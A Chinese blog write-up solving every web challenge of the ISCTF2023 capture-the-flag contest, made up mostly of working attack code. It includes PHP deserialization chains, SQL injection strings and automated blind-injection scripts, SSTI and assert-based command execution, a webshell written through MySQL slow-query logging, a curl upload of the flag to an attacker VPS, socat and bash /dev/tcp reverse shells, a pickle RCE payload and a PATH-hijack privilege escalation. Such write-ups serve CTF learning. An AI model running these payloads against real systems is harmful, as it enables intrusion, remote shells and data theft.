【虚空】【ISCTF2023】ISCTF2023 Web方向全题目wp

写在前边的话:

本篇为web所有题目wp,自己比赛中闲的没事儿写的

后续会更新re的全wp

pwn就放出写出的几道题的

目前其他两个方向全wp地址:
Misc方向全wp

密码学方向全wp

圣杯战争

在这里插入图片描述

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
  
class artifact{  
    public $excalibuer;  
    public $arrow;  
    public function __toString(){  
        echo "为Saber选择了对的武器!<br>";  
        return $this->excalibuer->arrow;  
    }  
}  
  
class prepare{  
    public $release;  
    public function __get($key){
        $functioin = $this->release;  
        echo "蓄力!咖喱棒!!<br>";  
        return $functioin();  
    }  
}  
class saber{  
    public $weapon;  
    public function __invoke(){  
        echo "胜利!<br>";  
        include($this->weapon);  
    }  
}  
class summon{  
    public $Saber;  
    public $Rider;  
  
    public function __wakeup(){  
        echo "开始召唤从者!<br>";  
        echo $this->Saber;  
    }  
}  
  
if(isset($_GET['payload'])){    unserialize($_GET['payload']);  
}  
?>

php反序列化,利用链:
summon -> artifact -> prepare -> saber ->伪协议include
构造payload

O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";r:3;}s:5:"Rider";O:5:"saber":1:{s:6:"weapon";s:9:"index.php";}

在这里插入图片描述

where_is_the_flag

在这里插入图片描述

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  
  
//标准一句话木马~  
eval($_POST[1]);  
?>

弹个shell或者用蚁剑之类的连接一下就ok

位置分别在flag.php
/flag
和$FLAG3里边(题目估计用的是env)

绕进你的心里

在这里插入图片描述

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  
    echo "md5绕过了!";  
    if(preg_match("/[0-9]/", $num)){  
        die('你干嘛?哎哟!');  
    }  
    elseif(intval($num)){  
        if(preg_match('/.+?ISCTF/is', $str)){  
            die("再想想!");  
        }  
        if(stripos($str, '2023ISCTF') === false){  
            die("就差一点点啦!");  
        }  
        echo $flag;  
    }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

而盘古用回溯绕过

payload

import requests
url = 
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

这是我自己的题就多说几句(
绕过方法有很多,我预期用的是报错注入,但是盲注之类的都ok的

在这里插入图片描述

通过双写绕过replace,通过/**/绕过空格,利用报错注入来获得回显

'oorr/**/updatexml(1,concat(0x7e,(selselectect/**/(schema_name)/**/from/**/infoorrmation_schema.schemata/**/limit/**/5,1),0x7e),1)#

由于updatexml的问题,用substr函数分次读出flag即可

wafr

在这里插入图片描述

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
  
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  
    die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  
    die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  
    die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

有一堆奇淫巧技来进行绕过,不知道是不是都是出题人的预期
我这里直接用strings来进行读取了
用post传参
code=system("strings /f*")
就有flag了

ez_ini

在这里插入图片描述

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

解法2:
在这里插入图片描述

进行文件日志包含

auto_prepend_file=/var/log/apache/access.log
auto_prepend_file=/var/log/nginx/error.log
auto_prepend_file=/var/log/nginx/access.log

然后再headers头中带有一句话木马即可getshell

web_include

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

扫描到源码泄露,下载打开,发现是js文件

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

进行解密

def decode(string):
	dec = ""
	for i in range(0,len(string),2):
		temp1 = ord(string[i]) - 97
		temp2 = ord(string[i+1]) - 97
		dec += chr(temp1*26+temp2)
	return dec
	
print(decode(decode("dxdydxdudxdtdxeadxekdxea")))

解码得到mihoyo(玩()玩的)
然后伪协议即可

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

在这里插入图片描述

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  
    die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

我用的是curl的外带功能,通过参数-T来传参

?file=-T /fla[g]gggggg.txt -a http://vps的ip:port

自己vps上开启
nc -lvp 上边的port
我这里是4445

在这里插入图片描述

1z_Ssql

在这里插入图片描述

这个根据给的两个附件找到对应的库和列名就行

import requests
from tqdm import tqdm

list1 = '''users
u55qs4hftj
flag1
bikepedcrash
guestbook
sheet1
kaohe23
servers
user
admin
books
orders'''.split("\n")

list2 = '''edtime
password
user
flag
username
listtag
tid
posttime
homepage
qq
position
showmod
keyword
sta
rpurl
statement_latency
statement_avg_latency
hack123'''.split("\n")

lists = list1+list2

url = 

def crack(pos, sql):
	check = False
	for i in range(20,128):
		payload = f"1' or ascii(substr(({sql}),{pos},1))>{i}#"
		data = {"username":payload,"password":"111","submit":"登录"}
		connect = requests.post(url = url, data = data)
		if "hint" in connect.text:
			if not check:
				check = True
		else:
			if check:
				check = True
				return i
	if not check:
		return None
		# print(check)

def test(sql):
	payload = f"1' or ascii(substr(({sql}),1,1))>1#"
	data = {"username":payload,"password":"111","submit":"登录"}
	connect = requests.post(url = url, data = data)
	if "hint" in connect.text:
		return True
	else:
		return False




def burp_force():
	for i in tqdm(lists, position=1, desc="i", leave=False, colour='green', ncols=80):
		for j in tqdm(lists, position=2, desc="j", leave=False, colour='red', ncols=80):
			sql = f"select group_concat({i}) from bthcls.{j}"
			if test(sql):
				print(sql)



# burp_force()
def executes():
	sql0 = "select database()"
	sql1 = "select group_concat(password) from users"
	sql2 = "select group_concat(user) from users"
	sql3 = "select group_concat(username) from users"
	sql4 = 'select load_file("/etc/shadows");'
	for i in range(1,100):
		temp = crack(i,sql1)
		# print(temp)
		if temp is None:
			break
		print(chr(temp),end="")


def main():
	executes()

if __name__ == "__main__":
	main()

最后找到用户名和密码
用户名:admin
密码:we1come7o1sctf
登录就有了
(别问为什么脚本没优化,问就是懒)

在这里插入图片描述

恐怖G7人

PS:G7是我用过最好用的狙:(

在这里插入图片描述

自己的原因,没想到居然非预期了)还是重大漏洞(
认打认罚(悲)

在这里插入图片描述

在这里ssti了
在这里插入图片描述

因为非预期甚至没有过滤)

所以就是常规的ssti,甚至没过滤(为什么就这都没几个人出)

{{''.__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']('env').read()}}

直接查看env

在这里插入图片描述

deep website

在这里插入图片描述

他来了他来了,他带着漏洞走来了

验证码和sessionID绑定的,抓包重放可以绕过验证码

然后很多师傅就盯着这个sql没办法了(

进行sql注入时候只有Error SQL

这里是埋的第一个坑,但是仔细一想就知道,哪个正常的程序员只会用一次过滤replace导致双写绕过啊,这在实战中压根不存在好吧。本题采用的是无限replace直到没有黑名单了。因此什么等号,大于小于号就都被replace了,后来在hint附件中也是把这个坑给大家公开了。

然后就是测试黑名单环节。

既然是直接replace,测试出来弱密码admin
那么可以构造类似于adminselect,如果select在黑名单中,replace后只有admin,可以登录成功,反之登录失败。

经过测试后,空格,union,>,<,=等都被过滤了。

因为异或没有被过滤,那么我们可以通过异或来进行构造。

但进一步得知,虽然select没有被过滤,但是空格被过滤了,而且select/**/也被过滤了

这里采用内联注入,即构造/*!SELECT*/

然后通过异或的特点进行盲注,我这里用的时间盲注,其实可以布尔盲注的:(,我这个脚本太耗时了,各位师傅们见谅,当时为了交题赶出来的()

import requests
import time
from tqdm import trange,tqdm

head = '''Host: 43.249.195.138:22473
Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.249.195.138:22473
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2a6b148f91fd3eb899abca52bde9eb5c
'''.split("\n")

verifyCode = "sfkF"

url = "http://43.249.195.138:22473/checkLogin.php"

# 上边的信息需要根据自己情况进行更换,tqdm库是进度条库

delay = 1.0


headers = {}

for k in head:
	temp = k.split(": ")
	i=temp[0]
	j="".join(temp[1:])
	headers[i] = j

if headers.get("") is not None:
	headers.pop("")



def fetchSQL(sql, pos):
	for i in range(20, 129):
		payload = f"1')/*!UNION*//**//*!SELECT*/(CASE/**/WHEN/**/ASCII(mid(concat(({sql})),{pos},1))^{i}/**/THEN/**/0/**/ELSE/**/BENCHMARK(8000000,md5(1))/**/END)#"
		data = {"user":payload,"password":"1","verifyCode":verifyCode}
		start = time.time()
		connect = requests.post(url,headers=headers,data=data)
		# print(connect.text)
		end = time.time()
		if end - start > delay:
			confirm_start = time.time()
			connect = requests.post(url,headers=headers,data=data)
			confirm_end = time.time()
			if confirm_end - confirm_start > delay:
				return i
	return None

def crackSQL(sql):
	strs = ""
	for pos in trange(1,100):
		temp = fetchSQL(sql, pos)
		if temp is None:
			break
		# tqdm.write(chr(temp),end="")
		strs += chr(temp)
	print(strs)
	return strs

def main():
	sql1 = "database()"
	sql2 = "/*!SELECT*//**/group_concat(schema_name)/**/from/**/information_schema.schemata"
	sql3 = "/*!SELECT*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'secret'"
	sql4 = "/*!SELECT*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'path'"
	sql5 = "/*!SELECT*//**/group_concat(filename)/**/from/**/secret.path"
	sql6 = "/*!SELECT*//**/group_concat(filepath)/**/from/**/secret.path"
	sqls = [sql2,sql3,sql4,sql5,sql6]
	for i in sqls:
		crackSQL(i)#手动切换sql

main()

很多师傅们在user库里找了半天,我们的信息在另一个数据库secret库中。

总之,我们在secret库中可以获得两个路径,均在/var/www/html下有两个文件

flagggggg__wher_e_14_F5MSsYteUvm21W9w.txt

Mysql_connect_shell.php

txt文件中给了
flag is in the root directory and has root privileges

mysql的shell里给了

<?php  
require_once "config.php";  
  
if(isset($_POST["sql"])){
	$sql = trim($_POST["sql"]);
	var_dump(fetchOne($sql));  
}  
else{
	highlight_file(__FILE__);  
}  
  
?>

给了我们个sql 的shell

经过调查发现权限为root权限的sql
但是secure_file_priv权限的路径在tmp路径下,没法读写shell

考虑慢日志注入
依次执行下列三条语句

set global slow_query_log=1;
SET GLOBAL slow_query_log_file='/var/www/html/shell.php';
select '<?php eval($_GET[a])?>' or SLEEP(11);

即可写入shell

拿到shell之后各类反弹shell手法这里不再赘述,想怎么弹shell都ok

我这里用的是socat反弹shell

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:反弹ip:反弹port

把反弹ip和port换成自己的就ok

在这里插入图片描述

然后进行提权,说起这个提权我是万万没想到啊
居然能跟另一道题撞了,难绷。

总之

在这里插入图片描述

sudo -l 发现有sid权限的menu

在这里插入图片描述

menu提供了几个快捷方式

分析menu程序可以发现其内部执行的指令都是从环境变量中读取的相对路径

即是system("sh")
而非system("/bin/sh")

这样我们可以通过环境变量来提权

我们将bash复制到tmp路径(随意哪个有权限都ok,tmp肯定有权限)

cp /bin/bash /tmp/ifconfig  # 将bash改名为ifconfig并放到tmp目录下
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH  # 将tmp路径添加到环境变量头部

然后sudo menu

在这里插入图片描述

提权成功,然后cat /flag.txt 即可

恐怖G7人-卷土重来

在这里插入图片描述

这道题真正的考点是pickle反序列化

当我们在这里输入了之后

在这里插入图片描述

我们发现set了一个cookie

在这里插入图片描述

我们将其base64解码,用hex dump转化

在这里插入图片描述

80 04 开头的,很容易发现这是pickle序列化数据,且是第四代pickle

我们使用timeit库进行利用,timeit函数被过滤了,但是还有repeat函数

为了绕过过滤,我们需要对shellcode进行编码为base64

但使用base64的b64decode后,返回的是bytes类型,而repeat需要的str类型

因此我们在codecs库中找到decode方法

至此整个利用链构造完成

import base64
import requests


shell = '''__import__('os').system('bash -c "bash -i >& /dev/tcp/反弹ip/反弹端口 0<&1"')''' #反弹shell语句

url = "http://43.249.195.138:20384/champion"


enc = base64.b64encode(shell.encode("utf-8"))

payload = b'''ctimeit
repeat
(ccodecs
decode
(cbase64
b64decode
(V'''+ enc + b'''
tRtRtR.'''

payload = base64.b64encode(payload).decode()

print(payload)
header = {"Cookie":"userInfo="+payload}

r=requests.get(url,headers=header)

然后反弹shell就可以在env中找到flag了

double_pickle

在这里插入图片描述

这个预期不知道是怎么构造的,我直接用G7人的pickle链秒了

访问/hint

我写过滤防止骇客的时候感觉很困,不过没事,我过滤了很多,骇客们肯定打不进来。给你们看看我的杰作: pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))

得到参数为payload

然后直接传参
?payload=上述的payload

然后即可反弹shell

然后读取根目录下的/flag即可

  • 10
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值